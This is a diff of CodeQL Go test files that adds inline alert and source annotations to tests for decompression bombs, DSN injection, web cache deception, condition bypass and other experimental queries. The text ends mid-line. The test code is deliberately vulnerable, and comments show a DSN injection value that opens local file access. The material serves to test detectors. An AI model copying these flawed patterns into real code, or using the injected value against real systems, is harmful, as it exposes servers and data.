@@ query: experimental/CWE-369/DivideByZero.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/experimental/CWE-400/DatabaseCallInLoop.expected b/go/ql/test/experimental/CWE-400/DatabaseCallInLoop.expected index 074dfaa134f..e95505223cd 100644 --- a/go/ql/test/experimental/CWE-400/DatabaseCallInLoop.expected +++ b/go/ql/test/experimental/CWE-400/DatabaseCallInLoop.expected @@ -1,3 +1,7 @@ +#select +| DatabaseCallInLoop.go:9:3:9:41 | call to First | DatabaseCallInLoop.go:7:2:11:2 | range statement | DatabaseCallInLoop.go:9:3:9:41 | call to First | This calls call to First in a $@. | DatabaseCallInLoop.go:7:2:11:2 | range statement | loop | +| test.go:11:2:11:13 | call to Take | test.go:20:2:22:2 | for statement | test.go:11:2:11:13 | call to Take | This calls call to Take in a $@. | test.go:20:2:22:2 | for statement | loop | +| test.go:11:2:11:13 | call to Take | test.go:24:2:26:2 | for statement | test.go:11:2:11:13 | call to Take | This calls call to Take in a $@. | test.go:24:2:26:2 | for statement | loop | edges | DatabaseCallInLoop.go:7:2:11:2 | range statement | DatabaseCallInLoop.go:9:3:9:41 | call to First | | test.go:10:1:12:1 | function declaration | test.go:11:2:11:13 | call to Take | @@ -7,7 +11,3 @@ edges | test.go:21:3:21:14 | call to runQuery | test.go:10:1:12:1 | function declaration | | test.go:24:2:26:2 | for statement | test.go:25:3:25:17 | call to runRunQuery | | test.go:25:3:25:17 | call to runRunQuery | test.go:14:1:16:1 | function declaration | -#select -| DatabaseCallInLoop.go:9:3:9:41 | call to First | DatabaseCallInLoop.go:7:2:11:2 | range statement | DatabaseCallInLoop.go:9:3:9:41 | call to First | This calls call to First in a $@. | DatabaseCallInLoop.go:7:2:11:2 | range statement | loop | -| test.go:11:2:11:13 | call to Take | test.go:20:2:22:2 | for statement | test.go:11:2:11:13 | call to Take | This calls call to Take in a $@. | test.go:20:2:22:2 | for statement | loop | -| test.go:11:2:11:13 | call to Take | test.go:24:2:26:2 | for statement | test.go:11:2:11:13 | call to Take | This calls call to Take in a $@. | test.go:24:2:26:2 | for statement | loop | diff --git a/go/ql/test/experimental/CWE-400/DatabaseCallInLoop.go b/go/ql/test/experimental/CWE-400/DatabaseCallInLoop.go index 138bbbcd9d4..eff08179ee5 100644 --- a/go/ql/test/experimental/CWE-400/DatabaseCallInLoop.go +++ b/go/ql/test/experimental/CWE-400/DatabaseCallInLoop.go @@ -6,8 +6,8 @@ func getUsers(db *gorm.DB, names []string) []User { res := make([]User, 0, len(names)) for _, name := range names { var user User - db.Where("name = ?", name).First(&user) + db.Where("name = ?", name).First(&user) // $ Alert res = append(res, user) - } + } // $ Source return res } diff --git a/go/ql/test/experimental/CWE-400/DatabaseCallInLoop.qlref b/go/ql/test/experimental/CWE-400/DatabaseCallInLoop.qlref index 63f27c9b41f..945fbc88364 100644 --- a/go/ql/test/experimental/CWE-400/DatabaseCallInLoop.qlref +++ b/go/ql/test/experimental/CWE-400/DatabaseCallInLoop.qlref @@ -1 +1,2 @@ -experimental/CWE-400/DatabaseCallInLoop.ql +query: experimental/CWE-400/DatabaseCallInLoop.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/experimental/CWE-400/test.go b/go/ql/test/experimental/CWE-400/test.go index 725fb541b38..4c0a7f01d2e 100644 --- a/go/ql/test/experimental/CWE-400/test.go +++ b/go/ql/test/experimental/CWE-400/test.go @@ -8,7 +8,7 @@ type User struct { } func runQuery(db *gorm.DB) { - db.Take(nil) + db.Take(nil) // $ Alert } func runRunQuery(db *gorm.DB) { @@ -19,9 +19,9 @@ func main() { var db *gorm.DB for i := 0; i < 10; i++ { runQuery(db) - } + } // $ Source for i := 10; i > 0; i-- { runRunQuery(db) - } + } // $ Source } diff --git a/go/ql/test/experimental/CWE-522-DecompressionBombs/DecompressionBombs.qlref b/go/ql/test/experimental/CWE-522-DecompressionBombs/DecompressionBombs.qlref index 93d41075d5f..367d7bfe2fd 100644 --- a/go/ql/test/experimental/CWE-522-DecompressionBombs/DecompressionBombs.qlref +++ b/go/ql/test/experimental/CWE-522-DecompressionBombs/DecompressionBombs.qlref @@ -1,2 +1,4 @@ query: experimental/CWE-522-DecompressionBombs/DecompressionBombs.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/experimental/CWE-522-DecompressionBombs/test.go b/go/ql/test/experimental/CWE-522-DecompressionBombs/test.go index dc359c387ac..370b24d4d3e 100644 --- a/go/ql/test/experimental/CWE-522-DecompressionBombs/test.go +++ b/go/ql/test/experimental/CWE-522-DecompressionBombs/test.go @@ -56,41 +56,41 @@ func main() { func DecompressHandler(w http.ResponseWriter, request *http.Request) { GZipOpenReaderSafe(request.PostFormValue("test")) ZipOpenReaderSafe(request.PostFormValue("test")) - ZipOpenReader(request.FormValue("filepath")) - ZipNewReader(request.Body) - ZipNewReaderKlauspost(request.Body) - Bzip2Dsnet(request.Body) + ZipOpenReader(request.FormValue("filepath")) // $ Source + ZipNewReader(request.Body) // $ Source + ZipNewReaderKlauspost(request.Body) // $ Source + Bzip2Dsnet(request.Body) // $ Source Bzip2DsnetSafe(request.Body) - Bzip2(request.Body) + Bzip2(request.Body) // $ Source Bzip2Safe(request.Body) - Flate(request.Body) + Flate(request.Body) // $ Source FlateSafe(request.Body) - FlateKlauspost(request.Body) + FlateKlauspost(request.Body) // $ Source FlateKlauspostSafe(request.Body) - FlateDsnet(request.Body) + FlateDsnet(request.Body) // $ Source FlateDsnetSafe(request.Body) - ZlibKlauspost(request.Body) + ZlibKlauspost(request.Body) // $ Source ZlibKlauspostSafe(request.Body) - Zlib(request.Body) + Zlib(request.Body) // $ Source ZlibSafe(request.Body) - Snappy(request.Body) + Snappy(request.Body) // $ Source SnappySafe(request.Body) - SnappyKlauspost(request.Body) + SnappyKlauspost(request.Body) // $ Source SnappyKlauspostSafe(request.Body) - S2(request.Body) + S2(request.Body) // $ Source S2Safe(request.Body) - Gzip(request.Body) + Gzip(request.Body) // $ Source GzipSafe(request.Body) - GZipIoReader(request.Body, "dest") - GzipKlauspost(request.Body) + GZipIoReader(request.Body, "dest") // $ Source + GzipKlauspost(request.Body) // $ Source GzipKlauspostSafe(request.Body) - PzipKlauspost(request.Body) + PzipKlauspost(request.Body) // $ Source PzipKlauspostSafe(request.Body) - Zstd_Klauspost(request.Body) + Zstd_Klauspost(request.Body) // $ Source Zstd_KlauspostSafe(request.Body) - Zstd_DataDog(request.Body) + Zstd_DataDog(request.Body) // $ Source Zstd_DataDogSafe(request.Body) - Xz(request.Body) + Xz(request.Body) // $ Source XzSafe(request.Body) } @@ -131,7 +131,7 @@ func ZipOpenReader(filename string) { for _, f := range zipReader.File { rc, _ := f.Open() for { - result, _ := io.CopyN(os.Stdout, rc, 68) // $ hasValueFlow="rc" + result, _ := io.CopyN(os.Stdout, rc, 68) // $ hasValueFlow="rc" Alert if result == 0 { _ = rc.Close() break @@ -144,7 +144,7 @@ func ZipOpenReader(filename string) { for _, f := range zipKlauspostReader.File { rc, _ := f.Open() for { - result, _ := io.CopyN(os.Stdout, rc, 68) // $ hasValueFlow="rc" + result, _ := io.CopyN(os.Stdout, rc, 68) // $ hasValueFlow="rc" Alert if result == 0 { _ = rc.Close() break @@ -161,7 +161,7 @@ func ZipNewReader(file io.Reader) { for _, file := range zipReader.File { fileWriter := bytes.NewBuffer([]byte{}) fileReaderCloser, _ := file.Open() - result, _ := io.Copy(fileWriter, fileReaderCloser) // $ hasValueFlow="fileReaderCloser" + result, _ := io.Copy(fileWriter, fileReaderCloser) // $ hasValueFlow="fileReaderCloser" Alert fmt.Print(result) } } @@ -173,7 +173,7 @@ func ZipNewReaderKlauspost(file io.Reader) { fileWriter := bytes.NewBuffer([]byte{}) // file.OpenRaw() fileReaderCloser, _ := file.Open() - result, _ := io.Copy(fileWriter, fileReaderCloser) // $ hasValueFlow="fileReaderCloser" + result, _ := io.Copy(fileWriter, fileReaderCloser) // $ hasValueFlow="fileReaderCloser" Alert fmt.Print(result) } } @@ -183,7 +183,7 @@ func Bzip2Dsnet(file io.Reader) { bzip2Reader, _ := bzip2Dsnet.NewReader(file, &bzip2Dsnet.ReaderConfig{}) var out []byte = make([]byte, 70) - bzip2Reader.Read(out) // $ hasValueFlow="bzip2Reader" + bzip2Reader.Read(out) // $ hasValueFlow="bzip2Reader" Alert tarRead = tar.NewReader(bzip2Reader) TarDecompressor(tarRead) @@ -210,7 +210,7 @@ func Bzip2(file io.Reader) { bzip2Reader := bzip2.NewReader(file) var out []byte = make([]byte, 70) - bzip2Reader.Read(out) // $ hasValueFlow="bzip2Reader" + bzip2Reader.Read(out) // $ hasValueFlow="bzip2Reader" Alert tarRead = tar.NewReader(bzip2Reader) TarDecompressor(tarRead) @@ -235,7 +235,7 @@ func Flate(file io.Reader) { flateReader := flate.NewReader(file) var out []byte = make([]byte, 70) - flateReader.Read(out) // $ hasValueFlow="flateReader" + flateReader.Read(out) // $ hasValueFlow="flateReader" Alert tarRead = tar.NewReader(flateReader) TarDecompressor(tarRead) @@ -260,7 +260,7 @@ func FlateKlauspost(file io.Reader) { flateReader := flateKlauspost.NewReader(file) var out []byte = make([]byte, 70) - flateReader.Read(out) // $ hasValueFlow="flateReader" + flateReader.Read(out) // $ hasValueFlow="flateReader" Alert tarRead = tar.NewReader(flateReader) TarDecompressor(tarRead) @@ -285,7 +285,7 @@ func FlateDsnet(file io.Reader) { flateReader, _ := flateDsnet.NewReader(file, &flateDsnet.ReaderConfig{}) var out []byte = make([]byte, 70) - flateReader.Read(out) // $ hasValueFlow="flateReader" + flateReader.Read(out) // $ hasValueFlow="flateReader" Alert tarRead = tar.NewReader(flateReader) TarDecompressor(tarRead) @@ -310,7 +310,7 @@ func ZlibKlauspost(file io.Reader) { zlibReader, _ := zlibKlauspost.NewReader(file) var out []byte = make([]byte, 70) - zlibReader.Read(out) // $ hasValueFlow="zlibReader" + zlibReader.Read(out) // $ hasValueFlow="zlibReader" Alert tarRead = tar.NewReader(zlibReader) TarDecompressor(tarRead) @@ -335,7 +335,7 @@ func Zlib(file io.Reader) { zlibReader, _ := zlib.NewReader(file) var out []byte = make([]byte, 70) - zlibReader.Read(out) // $ hasValueFlow="zlibReader" + zlibReader.Read(out) // $ hasValueFlow="zlibReader" Alert tarRead = tar.NewReader(zlibReader) TarDecompressor(tarRead) @@ -360,8 +360,8 @@ func Snappy(file io.Reader) { snappyReader := snappy.NewReader(file) var out []byte = make([]byte, 70) - snappyReader.Read(out) // $ hasValueFlow="snappyReader" - snappyReader.ReadByte() // $ hasValueFlow="snappyReader" + snappyReader.Read(out) // $ hasValueFlow="snappyReader" Alert + snappyReader.ReadByte() // $ hasValueFlow="snappyReader" Alert tarRead = tar.NewReader(snappyReader) TarDecompressor(tarRead) @@ -386,10 +386,10 @@ func SnappyKlauspost(file io.Reader) { snappyReader := snappyKlauspost.NewReader(file) var out []byte = make([]byte, 70) - snappyReader.Read(out) // $ hasValueFlow="snappyReader" + snappyReader.Read(out) // $ hasValueFlow="snappyReader" Alert var buf bytes.Buffer - snappyReader.DecodeConcurrent(&buf, 2) // $ hasValueFlow="snappyReader" - snappyReader.ReadByte() // $ hasValueFlow="snappyReader" + snappyReader.DecodeConcurrent(&buf, 2) // $ hasValueFlow="snappyReader" Alert + snappyReader.ReadByte() // $ hasValueFlow="snappyReader" Alert tarRead = tar.NewReader(snappyReader) TarDecompressor(tarRead) @@ -414,10 +414,10 @@ func S2(file io.Reader) { s2Reader := s2.NewReader(file) var out []byte = make([]byte, 70) - s2Reader.Read(out) // $ hasValueFlow="s2Reader" - s2Reader.ReadByte() // $ hasValueFlow="s2Reader" + s2Reader.Read(out) // $ hasValueFlow="s2Reader" Alert + s2Reader.ReadByte() // $ hasValueFlow="s2Reader" Alert var buf bytes.Buffer - s2Reader.DecodeConcurrent(&buf, 2) // $ hasValueFlow="s2Reader" + s2Reader.DecodeConcurrent(&buf, 2) // $ hasValueFlow="s2Reader" Alert tarRead = tar.NewReader(s2Reader) TarDecompressor(tarRead) @@ -442,14 +442,14 @@ func GZipIoReader(src io.Reader, dst string) { dstF, _ := os.OpenFile(dst, os.O_RDWR|os.O_CREATE|os.O_TRUNC, 0755) defer dstF.Close() newSrc := io.Reader(gzipReader) - _, _ = io.Copy(dstF, newSrc) // $ hasValueFlow="newSrc" + _, _ = io.Copy(dstF, newSrc) // $ hasValueFlow="newSrc" Alert } func Gzip(file io.Reader) { var tarRead *tar.Reader gzipReader, _ := gzip.NewReader(file) var out []byte = make([]byte, 70) - gzipReader.Read(out) // $ hasValueFlow="gzipReader" + gzipReader.Read(out) // $ hasValueFlow="gzipReader" Alert tarRead = tar.NewReader(gzipReader) TarDecompressor(tarRead) @@ -474,9 +474,9 @@ func GzipKlauspost(file io.Reader) { gzipReader, _ := gzipKlauspost.NewReader(file) var out []byte = make([]byte, 70) - gzipReader.Read(out) // $ hasValueFlow="gzipReader" + gzipReader.Read(out) // $ hasValueFlow="gzipReader" Alert var buf bytes.Buffer - gzipReader.WriteTo(&buf) // $ hasValueFlow="gzipReader" + gzipReader.WriteTo(&buf) // $ hasValueFlow="gzipReader" Alert tarRead = tar.NewReader(gzipReader) TarDecompressor(tarRead) @@ -501,9 +501,9 @@ func PzipKlauspost(file io.Reader) { pgzipReader, _ := pgzipKlauspost.NewReader(file) var out []byte = make([]byte, 70) - pgzipReader.Read(out) // $ hasValueFlow="pgzipReader" + pgzipReader.Read(out) // $ hasValueFlow="pgzipReader" Alert var buf bytes.Buffer - pgzipReader.WriteTo(&buf) // $ hasValueFlow="pgzipReader" + pgzipReader.WriteTo(&buf) // $ hasValueFlow="pgzipReader" Alert tarRead = tar.NewReader(pgzipReader) TarDecompressor(tarRead) @@ -528,11 +528,11 @@ func Zstd_Klauspost(file io.Reader) { zstdReader, _ := zstdKlauspost.NewReader(file) var out []byte = make([]byte, 70) - zstdReader.Read(out) // $ hasValueFlow="zstdReader" + zstdReader.Read(out) // $ hasValueFlow="zstdReader" Alert var buf bytes.Buffer - zstdReader.WriteTo(&buf) // $ hasValueFlow="zstdReader" + zstdReader.WriteTo(&buf) // $ hasValueFlow="zstdReader" Alert var src []byte - zstdReader.DecodeAll(src, nil) // $ hasValueFlow="zstdReader" + zstdReader.DecodeAll(src, nil) // $ hasValueFlow="zstdReader" Alert tarRead = tar.NewReader(zstdReader) TarDecompressor(tarRead) @@ -557,7 +557,7 @@ func Zstd_DataDog(file io.Reader) { zstdReader := zstdDataDog.NewReader(file) var out []byte = make([]byte, 70) - zstdReader.Read(out) // $ hasValueFlow="zstdReader" + zstdReader.Read(out) // $ hasValueFlow="zstdReader" Alert tarRead = tar.NewReader(zstdReader) TarDecompressor(tarRead) @@ -582,7 +582,7 @@ func Xz(file io.Reader) { xzReader, _ := xz.NewReader(file) var out []byte = make([]byte, 70) - xzReader.Read(out) // $ hasValueFlow="xzReader" + xzReader.Read(out) // $ hasValueFlow="xzReader" Alert tarRead = tar.NewReader(xzReader) fmt.Println(io.SeekStart) @@ -618,7 +618,7 @@ func TarDecompressor(tarRead *tar.Reader) { if cur.Typeflag != tar.TypeReg { continue } - data, _ := io.ReadAll(tarRead) // $ hasValueFlow="tarRead" + data, _ := io.ReadAll(tarRead) // $ hasValueFlow="tarRead" Alert files[cur.Name] = &fstest.MapFile{Data: data} } fmt.Print(files) @@ -626,7 +626,7 @@ func TarDecompressor(tarRead *tar.Reader) { func TarDecompressor2(tarRead *tar.Reader) { var tarOut []byte = make([]byte, 70) - tarRead.Read(tarOut) // $ hasValueFlow="tarRead" + tarRead.Read(tarOut) // $ hasValueFlow="tarRead" Alert fmt.Println("do sth with output:", tarOut) } diff --git a/go/ql/test/experimental/CWE-525/WebCacheDeception.qlref b/go/ql/test/experimental/CWE-525/WebCacheDeception.qlref index 8b0788ef904..9e5d5cc3033 100644 --- a/go/ql/test/experimental/CWE-525/WebCacheDeception.qlref +++ b/go/ql/test/experimental/CWE-525/WebCacheDeception.qlref @@ -1 +1,2 @@ -experimental/CWE-525/WebCacheDeception.ql \ No newline at end of file +query: experimental/CWE-525/WebCacheDeception.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/experimental/CWE-525/WebCacheDeceptionBad.go b/go/ql/test/experimental/CWE-525/WebCacheDeceptionBad.go index 577fbd78c06..978d05588bb 100644 --- a/go/ql/test/experimental/CWE-525/WebCacheDeceptionBad.go +++ b/go/ql/test/experimental/CWE-525/WebCacheDeceptionBad.go @@ -79,7 +79,7 @@ func badRoutingNet() { http.Handle("/assets/", http.StripPrefix("/assets/", http.FileServer(http.Dir("assets/")))) - http.HandleFunc("/adminusers/", ShowAdminPageCache) + http.HandleFunc("/adminusers/", ShowAdminPageCache) // $ Alert err := http.ListenAndServe(":1337", nil) if err != nil { log.Fatal("ListenAndServe: ", err) diff --git a/go/ql/test/experimental/CWE-525/WebCacheDeceptionFiber.go b/go/ql/test/experimental/CWE-525/WebCacheDeceptionFiber.go index 80f396c26df..1126659d76e 100644 --- a/go/ql/test/experimental/CWE-525/WebCacheDeceptionFiber.go +++ b/go/ql/test/experimental/CWE-525/WebCacheDeceptionFiber.go @@ -12,12 +12,12 @@ func badRouting() { log.Println("We are logging in Golang!") // GET /api/register - app.Get("/api/*", func(c *fiber.Ctx) error { + app.Get("/api/*", func(c *fiber.Ctx) error { // $ Alert msg := fmt.Sprintf("✋") return c.SendString(msg) // => ✋ register }) - app.Post("/api/*", func(c *fiber.Ctx) error { + app.Post("/api/*", func(c *fiber.Ctx) error { // $ Alert msg := fmt.Sprintf("✋") return c.SendString(msg) // => ✋ register }) diff --git a/go/ql/test/experimental/CWE-525/WebCacheDeceptionGoChi.go b/go/ql/test/experimental/CWE-525/WebCacheDeceptionGoChi.go index 539dae1dee9..3de5e659138 100644 --- a/go/ql/test/experimental/CWE-525/WebCacheDeceptionGoChi.go +++ b/go/ql/test/experimental/CWE-525/WebCacheDeceptionGoChi.go @@ -10,7 +10,7 @@ import ( func badRoutingChi() { r := chi.NewRouter() r.Use(middleware.Logger) - r.Get("/*", func(w http.ResponseWriter, r *http.Request) { + r.Get("/*", func(w http.ResponseWriter, r *http.Request) { // $ Alert w.Write([]byte("welcome")) }) http.ListenAndServe(":3000", r) diff --git a/go/ql/test/experimental/CWE-525/WebCacheDeceptionHTTPRouter.go b/go/ql/test/experimental/CWE-525/WebCacheDeceptionHTTPRouter.go index 864c6c5e31c..7d1cd0b3d16 100644 --- a/go/ql/test/experimental/CWE-525/WebCacheDeceptionHTTPRouter.go +++ b/go/ql/test/experimental/CWE-525/WebCacheDeceptionHTTPRouter.go @@ -18,7 +18,7 @@ func Hello(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { func badHTTPRouter() { router := httprouter.New() - router.GET("/test/*test", Index) + router.GET("/test/*test", Index) // $ Alert router.GET("/hello/:name", Hello) log.Fatal(http.ListenAndServe(":8082", router)) diff --git a/go/ql/test/experimental/CWE-74/Dsn.go b/go/ql/test/experimental/CWE-74/Dsn.go index 3cdabc7cb3f..56eee4a48ee 100644 --- a/go/ql/test/experimental/CWE-74/Dsn.go +++ b/go/ql/test/experimental/CWE-74/Dsn.go @@ -23,10 +23,10 @@ func good() (interface{}, error) { } func bad() interface{} { - name2 := os.Args[1:] + name2 := os.Args[1:] // $ Source[go/dsn-injection-local] // This is bad. `name` can be something like `test?allowAllFiles=true&` which will allow an attacker to access local files. dbDSN := fmt.Sprintf("%s:%s@tcp(%s:%d)/%s?charset=utf8", "username", "password", "127.0.0.1", 3306, name2[0]) - db, _ := sql.Open("mysql", dbDSN) + db, _ := sql.Open("mysql", dbDSN) // $ Alert[go/dsn-injection-local] return db } @@ -44,10 +44,10 @@ func good2(w http.ResponseWriter, req *http.Request) (interface{}, error) { } func bad2(w http.ResponseWriter, req *http.Request) interface{} { - name := req.FormValue("name") + name := req.FormValue("name") // $ Source[go/dsn-injection] // This is bad. `name` can be something like `test?allowAllFiles=true&` which will allow an attacker to access local files. dbDSN := fmt.Sprintf("%s:%s@tcp(%s:%d)/%s?charset=utf8", "username", "password", "127.0.0.1", 3306, name) - db, _ := sql.Open("mysql", dbDSN) + db, _ := sql.Open("mysql", dbDSN) // $ Alert[go/dsn-injection] return db } @@ -60,12 +60,12 @@ func (Config) Parse([]string) error { return nil } func RegexFuncModelTest(w http.ResponseWriter, req *http.Request) (interface{}, error) { cfg := NewConfig() - err := cfg.Parse(os.Args[1:]) // This is bad. `name` can be something like `test?allowAllFiles=true&` which will allow an attacker to access local files. + err := cfg.Parse(os.Args[1:]) // $ Source[go/dsn-injection-local] // This is bad. `name` can be something like `test?allowAllFiles=true&` which will allow an attacker to access local files. if err != nil { return nil, err } dbDSN := fmt.Sprintf("%s:%s@tcp(%s:%d)/%s?charset=utf8", "username", "password", "127.0.0.1", 3306, cfg.dsn) - db, _ := sql.Open("mysql", dbDSN) + db, _ := sql.Open("mysql", dbDSN) // $ Alert[go/dsn-injection-local] return db, nil } diff --git a/go/ql/test/experimental/CWE-74/DsnInjection.qlref b/go/ql/test/experimental/CWE-74/DsnInjection.qlref index f8e0117d735..1b468898078 100644 --- a/go/ql/test/experimental/CWE-74/DsnInjection.qlref +++ b/go/ql/test/experimental/CWE-74/DsnInjection.qlref @@ -1,2 +1,4 @@ query: experimental/CWE-74/DsnInjection.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/experimental/CWE-74/DsnInjectionLocal.qlref b/go/ql/test/experimental/CWE-74/DsnInjectionLocal.qlref index f2d6116c7f1..f0907dee939 100644 --- a/go/ql/test/experimental/CWE-74/DsnInjectionLocal.qlref +++ b/go/ql/test/experimental/CWE-74/DsnInjectionLocal.qlref @@ -1,2 +1,4 @@ query: experimental/CWE-74/DsnInjectionLocal.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/experimental/CWE-807/SensitiveConditionBypass.qlref b/go/ql/test/experimental/CWE-807/SensitiveConditionBypass.qlref index da2ab35074a..b31f535387e 100644 --- a/go/ql/test/experimental/CWE-807/SensitiveConditionBypass.qlref +++ b/go/ql/test/experimental/CWE-807/SensitiveConditionBypass.qlref @@ -1 +1,2 @@ -experimental/CWE-807/SensitiveConditionBypass.ql +query: experimental/CWE-807/SensitiveConditionBypass.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/experimental/CWE-807/SensitiveConditionBypassBad.go b/go/ql/test/experimental/CWE-807/SensitiveConditionBypassBad.go index bf8e70f88b7..04161f28fa8 100644 --- a/go/ql/test/experimental/CWE-807/SensitiveConditionBypassBad.go +++ b/go/ql/test/experimental/CWE-807/SensitiveConditionBypassBad.go @@ -4,7 +4,7 @@ import "net/http" func example(w http.ResponseWriter, r *http.Request) { test2 := "test" - if r.Header.Get("X-Password") != test2 { + if r.Header.Get("X-Password") != test2 { // $ Alert login() } } diff --git a/go/ql/test/experimental/CWE-807/condition.go b/go/ql/test/experimental/CWE-807/condition.go index ecd6b0a9f2a..d2bef8b335b 100644 --- a/go/ql/test/experimental/CWE-807/condition.go +++ b/go/ql/test/experimental/CWE-807/condition.go @@ -13,7 +13,7 @@ const test = "localhost" // Should alert as authkey is sensitive func ex1(w http.ResponseWriter, r *http.Request) { - if r.Header.Get("Origin") != test { + if r.Header.Get("Origin") != test { // $ Alert authkey := "randomDatta" io.WriteString(w, authkey) } @@ -22,7 +22,7 @@ func ex1(w http.ResponseWriter, r *http.Request) { // Should alert as authkey is sensitive func ex2(w http.ResponseWriter, r *http.Request) { test2 := "test" - if r.Header.Get("Origin") != test2 { + if r.Header.Get("Origin") != test2 { // $ Alert authkey := "randomDatta2" io.WriteString(w, authkey) } @@ -31,7 +31,7 @@ func ex2(w http.ResponseWriter, r *http.Request) { // Should alert as login() is sensitive func ex3(w http.ResponseWriter, r *http.Request) { test2 := "test" - if r.Header.Get("Origin") != test2 { + if r.Header.Get("Origin") != test2 { // $ Alert login() } } diff --git a/go/ql/test/experimental/CWE-840/ConditionalBypass.qlref b/go/ql/test/experimental/CWE-840/ConditionalBypass.qlref index 6d167616055..8c99cf7c285 100644 --- a/go/ql/test/experimental/CWE-840/ConditionalBypass.qlref +++ b/go/ql/test/experimental/CWE-840/ConditionalBypass.qlref @@ -1 +1,2 @@ -experimental/CWE-840/ConditionalBypass.ql +query: experimental/CWE-840/ConditionalBypass.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/experimental/CWE-840/ConditionalBypassBad.go b/go/ql/test/experimental/CWE-840/ConditionalBypassBad.go index b788dee2009..a90b723e8be 100644 --- a/go/ql/test/experimental/CWE-840/ConditionalBypassBad.go +++ b/go/ql/test/experimental/CWE-840/ConditionalBypassBad.go @@ -6,7 +6,7 @@ import ( func exampleHandlerBad(w http.ResponseWriter, r *http.Request) { // BAD: the Origin and Host headers are user controlled - if r.Header.Get("Origin") != "http://"+r.Host { + if r.Header.Get("Origin") != "http://"+r.Host { // $ Alert //do something } } diff --git a/go/ql/test/experimental/CWE-840/condition.go b/go/ql/test/experimental/CWE-840/condition.go index 7b7b7480c10..fa413f32576 100644 --- a/go/ql/test/experimental/CWE-840/condition.go +++ b/go/ql/test/experimental/CWE-840/condition.go @@ -6,14 +6,14 @@ import ( // BAD: taken from https://www.gorillatoolkit.org/pkg/websocket func ex1(w http.ResponseWriter, r *http.Request) { - if r.Header.Get("Origin") != "http://"+r.Host { + if r.Header.Get("Origin") != "http://"+r.Host { // $ Alert //do something } } // BAD: both operands are from remote sources func ex2(w http.ResponseWriter, r *http.Request) { - if r.Header.Get("Origin") != "http://"+r.Header.Get("Header") { + if r.Header.Get("Origin") != "http://"+r.Header.Get("Header") { // $ Alert //do something } } diff --git a/go/ql/test/experimental/InconsistentCode/DeferInLoop.go b/go/ql/test/experimental/InconsistentCode/DeferInLoop.go index 1b57d1855b4..476a72a68f9 100644 --- a/go/ql/test/experimental/InconsistentCode/DeferInLoop.go +++ b/go/ql/test/experimental/InconsistentCode/DeferInLoop.go @@ -5,7 +5,7 @@ import "os" func openFiles(filenames []string) { for _, filename := range filenames { file, err := os.Open(filename) - defer file.Close() + defer file.Close() // $ Alert[go/examples/deferinloop] if err != nil { // handle error } diff --git a/go/ql/test/experimental/InconsistentCode/DeferInLoop.qlref b/go/ql/test/experimental/InconsistentCode/DeferInLoop.qlref index e50bcf4fdf6..f291f77e09e 100644 --- a/go/ql/test/experimental/InconsistentCode/DeferInLoop.qlref +++ b/go/ql/test/experimental/InconsistentCode/DeferInLoop.qlref @@ -1 +1,2 @@ -experimental/InconsistentCode/DeferInLoop.ql +query: experimental/InconsistentCode/DeferInLoop.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/experimental/InconsistentCode/GORMErrorNotChecked.go b/go/ql/test/experimental/InconsistentCode/GORMErrorNotChecked.go index 422e49b5f10..c24f9bad5a7 100644 --- a/go/ql/test/experimental/InconsistentCode/GORMErrorNotChecked.go +++ b/go/ql/test/experimental/InconsistentCode/GORMErrorNotChecked.go @@ -4,6 +4,6 @@ import "gorm.io/gorm" func getUserId(db *gorm.DB, name string) int64 { var user User - db.Where("name = ?", name).First(&user) + db.Where("name = ?", name).First(&user) // $ Alert[go/examples/gorm-error-not-checked] return user.Id } diff --git a/go/ql/test/experimental/InconsistentCode/GORMErrorNotChecked.qlref b/go/ql/test/experimental/InconsistentCode/GORMErrorNotChecked.qlref index b52256ad539..20b8106442b 100644 --- a/go/ql/test/experimental/InconsistentCode/GORMErrorNotChecked.qlref +++ b/go/ql/test/experimental/InconsistentCode/GORMErrorNotChecked.qlref @@ -1 +1,2 @@ -experimental/InconsistentCode/GORMErrorNotChecked.ql +query: experimental/InconsistentCode/GORMErrorNotChecked.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/experimental/InconsistentCode/test.go b/go/ql/test/experimental/InconsistentCode/test.go index 1dc64350bd4..ec893a14e74 100644 --- a/go/ql/test/experimental/InconsistentCode/test.go +++ b/go/ql/test/experimental/InconsistentCode/test.go @@ -3,24 +3,24 @@ package main func test() { var xs []int for _ = range xs { - defer test() // not ok + defer test() // $ Alert[go/examples/deferinloop] // not ok } for _ = range xs { if true { - defer test() // not ok + defer test() // $ Alert[go/examples/deferinloop] // not ok } } for i := 0; i < 10; i++ { - defer test() + defer test() // $ Alert[go/examples/deferinloop] } for true { - defer test() // not ok + defer test() // $ Alert[go/examples/deferinloop] // not ok } for false { - defer test() // fine but caught + defer test() // $ Alert[go/examples/deferinloop] // fine but caught } } diff --git a/go/ql/test/experimental/Unsafe/WrongUsageOfUnsafe.expected b/go/ql/test/experimental/Unsafe/WrongUsageOfUnsafe.expected index 3c7e02eea26..0dfdf1d7c15 100644 --- a/go/ql/test/experimental/Unsafe/WrongUsageOfUnsafe.expected +++ b/go/ql/test/experimental/Unsafe/WrongUsageOfUnsafe.expected @@ -1,3 +1,15 @@ +#select +| WrongUsageOfUnsafe.go:77:16:77:55 | type conversion | WrongUsageOfUnsafe.go:77:27:77:54 | type conversion | WrongUsageOfUnsafe.go:77:16:77:55 | type conversion | $@. | WrongUsageOfUnsafe.go:77:27:77:54 | type conversion | Dangerous array type casting to [8]uint8 from an index expression ([8]uint8)[2] (the destination type is 2 elements longer) | +| WrongUsageOfUnsafe.go:111:16:111:59 | type conversion | 